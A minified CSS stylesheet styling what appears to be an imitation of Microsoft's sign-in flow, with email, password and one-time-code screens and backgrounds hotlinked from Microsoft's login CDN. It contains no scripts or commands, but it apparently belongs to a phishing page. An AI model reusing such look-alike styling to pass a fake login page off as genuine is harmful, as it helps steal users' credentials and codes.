html,body,#root{margin:0;padding:0;height:100%;width:100%}*{box-sizing:border-box;font-family:Segoe UI,Tahoma,Arial,sans-serif}body{margin:0;height:100%}body.fade-out{opacity:.35}.bg-step1{background-image:url(/IMG1.png)}.bg-step2{background-image:url(https://logincdn.msauth.net/shared/5/images/fluent_web_light_2_145a07dcb971527a82b8.svg)}.login-wrapper{display:flex;flex-direction:column;align-items:center}.card{width:450px;background:#fff;padding:36px;box-shadow:0 2px 6px #00000026;border-radius:2px;transform:translateY(0);transition:transform .3s ease,opacity .45s ease}h1{font-size:24px;font-weight:600;margin:10px 0 20px;color:#1b1b1b}input{width:100%;border:none;border-bottom:1px solid #666;padding:8px 4px;font-size:15px;margin-bottom:20px;outline:none}.links{font-size:14px;margin-bottom:24px;letter-spacing:-.5px}.links a{color:#0067b8;text-decoration:none}.actions{display:flex;justify-content:flex-end}.create-one:hover,.access-account:hover{color:#ccc;text-decoration:underline}button{background:#0067b8;color:#fff;border:none;padding:6px 20px;font-size:16px;cursor:pointer;width:110px}.img2{text-align:center;height:70px}.sign-in-options{width:450px;margin-top:12px;background:#fff;border:1px solid #ddd;padding:10px 16px;font-size:14px;display:flex;align-items:center;gap:10px;cursor:pointer;box-shadow:0 2px 6px #00000026}.sign-in-options:hover{background-color:#d8d8d8}.next-page2:hover{background-color:#0f6cbd}.password-text{text-align:center}.ms-footer{position:fixed;bottom:7px;right:18px;display:flex;gap:18px;font-size:12px;color:#6b6b6b}.ms-footer a{color:#000;text-decoration:none}.next-1:hover{background-color:#005da6}.password-card{border-radius:6px}.user-email{color:#616161;font-size:15px;margin-bottom:6px;text-align:center}.email-bubble{display:inline-block;border:1px solid #8f8e8e;padding:6px 14px;border-radius:1000px;font-size:12px;color:#616161;background:#fff}.security-text{font-size:14px;color:#115ea3;margin-top:30px;cursor:pointer;text-align:center;font-weight:500}.security-text:hover{text-decoration:underline}.text1{font-weight:400}.mid-text{font-size:14px;text-align:center;color:#424242}.code{text-align:center;font-size:14px;color:#115ea3;cursor:pointer;font-weight:500}.code:hover{text-decoration:underline}.password{outline:1px solid rgb(192,192,192);padding:10px;border-radius:2px;font-size:14px;border-bottom:none;margin-bottom:20px}.password:focus{border-bottom:1px solid #0067b8}.otp-body{margin:0;display:flex;align-items:center;justify-content:center;background-image:url(https://logincdn.msauth.net/shared/5/images/fluent_web_light_2_145a07dcb971527a82b8.svg);background-size:cover;background-position:center;background-repeat:no-repeat;transition:opacity .5s ease}.otp-body.fade-out{opacity:.35}.otp-card{width:420px;background:#fff;padding:40px;border-radius:10px;box-shadow:0 6px 20px #00000026;text-align:center;position:relative}.back{position:absolute;left:30px;top:30px;font-size:25px;color:#616161;text-decoration:none;cursor:pointer}.logo{height:24px;display:block;margin:0 auto 18px}.user-bubble{display:block;width:fit-content;margin:0 auto 20px;font-size:13px;color:#616161;border:1px solid #d6d6d6;padding:6px 14px;border-radius:20px}.otp-card h1{font-size:24px;font-weight:600;margin:10px 0 6px}.otp-card p{font-size:14px;color:#616161;margin-bottom:28px}.code-container{display:flex;justify-content:center;gap:12px;margin-bottom:28px}.code-box{width:42px;height:42px;border:1px solid #c8c8c8;border-radius:4px;text-align:center;font-size:20px;outline:none;border-bottom:1px solid #c8c8c8;margin-bottom:0;padding:0}.code-box:focus{border-color:#0067b8;box-shadow:0 0 0 1px #0067b8}.link{color:#0f5fb2;font-size:14px;text-decoration:none;font-weight:500}.link:hover{text-decoration:underline}@media(max-width:500px){.card{width:100%;border-radius:0;box-shadow:none}.sign-in-options{width:100%}.login-wrapper{width:100%;padding:0 12px;box-sizing:border-box}.sign-in-options{width:calc(100% + -0px);margin-left:0}.ms-footer{right:8px;gap:10px}.otp-card{width:calc(100% - 32px);padding:32px 24px}}.body-bg-step1{background-image:url(/IMG1.png);background-size:cover;background-position:center;background-repeat:no-repeat}.body-bg-step2{background-image:url(https://logincdn.msauth.net/shared/5/images/fluent_web_light_2_145a07dcb971527a82b8.svg);background-size:cover;background-position:center;background-repeat:no-repeat}.body-fade-out{opacity:.8}